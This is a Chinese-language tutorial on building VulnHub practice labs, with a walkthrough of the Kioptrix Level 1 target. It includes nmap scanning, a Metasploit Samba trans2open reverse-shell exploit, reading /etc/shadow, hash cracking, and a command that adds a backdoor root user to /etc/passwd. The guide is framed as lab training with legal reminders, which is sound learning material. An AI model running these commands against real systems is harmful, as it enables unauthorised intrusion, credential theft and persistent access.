VulnHub 环境搭建及实战完全指南

VulnHub 是一个汇集了数百个渗透测试靶机的宝藏平台。所有靶机都是由安全爱好者制作并免费分享,覆盖了从初学者到专家各个难度级别。

📚 VulnHub 概述

官网https://www.vulnhub.com

特点

  • 完全免费
  • 社区驱动,持续更新
  • 真实场景模拟
  • 涵盖各种技术栈和漏洞类型
  • 提供完整的 Write-up 和解决方案

🚀 环境搭建步骤

步骤1:准备虚拟化环境

# 1. 安装虚拟机软件(选择其一)
# VMware Workstation Player(免费版)
# 或 VirtualBox(完全免费)

# 2. 安装攻击机系统
# 推荐 Kali Linux(渗透测试专用)
# 下载地址:https://www.kali.org/get-kali/

# 3. 下载 VulnHub 靶机
# 访问 vulnhub.com,选择喜欢的靶机
# 点击 "Download" 获取 .ova 或 .7z 文件

# 示例:下载经典的 Kioptrix 系列
# Kioptrix Level 1(入门首选)
# Kioptrix Level 2
# Kioptrix Level 3

步骤2:导入靶机虚拟机

# 方法一:使用 OVA 文件(推荐)
# 1. 解压下载的文件(如果是 .7z 格式)
7z x Kioptrix-Level-1.7z

# 2. 在 VMware/VirtualBox 中:
#   文件 → 导入 → 选择 .ova 文件
#   根据提示完成导入

# 方法二:使用 VMDK 文件
# 1. 创建新虚拟机
# 2. 选择 "使用现有虚拟硬盘"
# 3. 选择解压后的 .vmdk 文件

步骤3:配置网络

# 关键配置:确保攻击机和靶机在同一网络
# 建议使用 NAT 或 Host-Only 网络

# VMware 设置:
# 1. 靶机网络适配器 → NAT 模式
# 2. Kali 攻击机 → 同样使用 NAT 模式
# 3. 两者都会获得同一网段的IP(如 192.168.x.x)

# VirtualBox 设置:
# 1. 创建 Host-Only 网络适配器
# 2. 为所有虚拟机分配此适配器

步骤4:启动并发现靶机 IP

# 启动 Kali Linux 和靶机
# 在 Kali 中查找靶机 IP:

# 方法1:使用 arp-scan
sudo arp-scan -l
# 输出示例:
# 192.168.1.1    网关
# 192.168.1.100   Kali 自己
# 192.168.1.150   未知设备 ← 很可能是靶机

# 方法2:使用 netdiscover
sudo netdiscover -r 192.168.1.0/24

# 方法3:nmap 扫描整个网段
sudo nmap -sn 192.168.1.0/24

🎯 实战演练:以 Kioptrix Level 1 为例

Kioptrix Level 1 是最经典的入门靶机,包含了基本的漏洞利用路径。

阶段1:信息收集

# 1. 找到靶机IP(假设为 192.168.1.150)
TARGET=192.168.1.150

# 2. 全面端口扫描
sudo nmap -sS -sV -sC -O -p- $TARGET -oN nmap_full.txt

# 预期结果:
# PORT     STATE SERVICE     VERSION
# 22/tcp   open  ssh         OpenSSH 2.9p2
# 80/tcp   open  http        Apache httpd 1.3.20
# 111/tcp  open  rpcbind     2 (RPC #100000)
# 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
# 443/tcp  open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux)
# 1024/tcp open  status      1 (RPC #100024)

# 3. 详细服务扫描
# SMB 服务扫描
enum4linux $TARGET
smbclient -L //$TARGET/

# Web 目录扫描
dirb http://$TARGET/
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt

# 4. 漏洞扫描
nikto -h http://$TARGET/

阶段2:漏洞发现

# 分析 nmap 结果发现关键信息:
# 1. Apache 1.3.20(古老版本,有已知漏洞)
# 2. OpenSSH 2.9p2(老版本)
# 3. Samba 2.2.1a(存在 trans2open 漏洞)

# 搜索相关漏洞
searchsploit apache 1.3.20
searchsploit samba 2.2.1a
searchsploit openssh 2.9

# 发现关键漏洞:
# Samba trans2open 缓冲区溢出(MSF 中有现成模块)

阶段3:漏洞利用

方案一:通过 Samba 漏洞获取 root
# 使用 Metasploit
msfconsole

# 搜索相关模块
search trans2open

# 使用漏洞模块
use exploit/linux/samba/trans2open
set RHOSTS $TARGET
set RPORT 139
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.1.100  # Kali IP
set LPORT 4444

# 执行攻击
exploit

# 成功会获得 root shell!
whoami  # 显示 root
方案二:通过 Apache mod_ssl 漏洞(如果需要)
# Kioptrix 1 的另一个路径
searchsploit apache mod_ssl

# 在 Metasploit 中
use exploit/unix/webapp/apache_mod_ssl
set RHOSTS $TARGET
exploit

阶段4:提权与后渗透

# 1. 检查当前权限
whoami
id

# 2. 如果是普通用户,尝试提权
# 查看 sudo 权限
sudo -l

# 查看可写的敏感文件
find / -type f -perm -o+w 2>/dev/null
find / -type d -perm -o+w 2>/dev/null

# 3. 获取密码哈希
cat /etc/shadow

# 4. 查找敏感信息
find / -name "*.txt" -o -name "*.conf" -o -name "*.log"
find /home -type f -name "*pass*" -o -name "*cred*"

# 5. 建立持久化访问
# 添加后门用户
echo "backdoor:$(openssl passwd -1 password):0:0:root:/root:/bin/bash" >> /etc/passwd

阶段5:寻找 flag

# VulnHub 靶机通常有 flag 文件
# 搜索 flag 或 proof.txt
find / -name "*flag*" -o -name "*proof*" -o -name "*.txt" 2>/dev/null
cat /root/proof.txt  # 通常在这里

# Kioptrix Level 1 的 flag 在 /root 目录
cat /root/conquered.txt

📊 VulnHub 靶机难度分类

新手入门级

  1. Kioptrix Level 1 - 最简单的缓冲区溢出
  2. Stapler - 信息收集综合练习
  3. Mr. Robot - 基于电视剧的真实模拟
  4. Basic Pentesting - 基础Web和权限提升

中级进阶

  1. Kioptrix Level 2 - 需要更多技巧
  2. VulnOS - 模拟完整操作系统
  3. IMF - 取证和Web结合
  4. PwnLab - 需要多步骤攻击链

专家挑战级

  1. Kioptrix Level 3 - 复杂的提权路径
  2. Hackademic - 学术挑战系列
  3. DevRandom - CTF风格挑战
  4. Digitalworld.local - 完整域环境

🔧 实用工具和命令速查

信息收集

# 网络发现
arp-scan -l
netdiscover -r 192.168.1.0/24

# 端口扫描
nmap -sS -sV -sC -O -p- <target>
nmap --script vuln <target>

# Web 扫描
whatweb http://<target>
nikto -h http://<target>
dirb http://<target> /usr/share/wordlists/dirb/common.txt

漏洞利用

# Metasploit 常用命令
msfconsole
search <漏洞名>
use <模块路径>
show options
set <选项> <>
exploit
sessions -l
sessions -i <id>

# 手动利用
# 下载 exploit 代码
searchsploit -m <编号>
# 查看并修改利用代码

后渗透

# Linux 提权检查
linpeas.sh  # 自动提权检查脚本
linux-exploit-suggester.sh

# Windows 提权检查
winpeas.exe
windows-exploit-suggester.py

# 密码破解
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

💡 学习建议和最佳实践

学习方法

  1. 不要直接看 Write-up:至少尝试2-3小时再看解法
  2. 自己记录过程:写自己的渗透测试报告
  3. 尝试多种方法:同一个目标可能有不同攻击路径
  4. 理解原理:不仅仅是运行工具,要明白为什么

实战流程模板

1. 信息收集阶段
   - 网络发现
   - 端口扫描
   - 服务识别
   - 目录爆破

2. 漏洞分析阶段
   - 搜索已知漏洞
   - 手动测试漏洞
   - 验证漏洞存在

3. 漏洞利用阶段
   - 准备Payload
   - 建立连接
   - 获取初始访问

4. 后渗透阶段
   - 权限提升
   - 信息收集
   - 横向移动(如果有多台机器)
   - 获取flag

5. 清理和报告
   - 清理痕迹(可选)
   - 整理攻击路径
   - 写总结报告

🎮 挑战路线图

第一个月:基础建立

  1. Kioptrix Level 1-3(理解基本流程)
  2. Stapler(综合信息收集)
  3. Basic Pentesting(Web+系统结合)

第二个月:技能扩展

  1. IMF(取证技能)
  2. PwnLab(多步骤攻击链)
  3. VulnOS(完整系统渗透)

第三个月:高级挑战

  1. Digitalworld.local(域渗透)
  2. Hackademic RTB1/2(CTF挑战)
  3. DevRandom CTF(高级技巧)

🆘 故障排除

常见问题1:虚拟机无法启动

# 检查虚拟化支持
# BIOS中开启VT-x/AMD-V
# 禁用Windows Hyper-V(如果主机是Windows)

# 检查磁盘空间
df -h

# 尝试不同格式
# 有些靶机需要特定版本的VMware/VirtualBox

常见问题2:找不到靶机IP

# 确保网络模式正确
# 使用统一的NAT或Host-Only

# 手动扫描所有可能IP
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done

# 查看靶机启动日志
# 有时靶机会显示自己的IP

常见问题3:漏洞利用失败

# 1. 检查服务版本是否匹配
# 2. 尝试不同的Payload
# 3. 关闭防火墙(在靶机内)
# 4. 检查网络连通性
# 5. 查看Metasploit的详细输出
set VERBOSE true

🌟 额外资源

学习平台

  • HackTheBox:在线渗透测试平台
  • TryHackMe:结构化的学习路径
  • PentesterLab:专注于Web安全

工具集合

  • Kali Linux:渗透测试专用系统
  • Parrot OS:另一个安全测试系统
  • Commando VM:Windows下的渗透环境

社区支持

  • VulnHub论坛:讨论靶机解法
  • Reddit r/netsec:安全资讯
  • Discord安全频道:实时交流

重要提醒

  1. 所有练习仅在虚拟环境中进行
  2. 不要攻击未经授权的系统
  3. 遵守当地法律法规
  4. 将技能用于合法的安全测试和防御

现在就开始你的 VulnHub 之旅吧! 从 Kioptrix Level 1 开始,逐步挑战更难的目标。记住,每一次失败都是学习的机会。祝你学习愉快!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐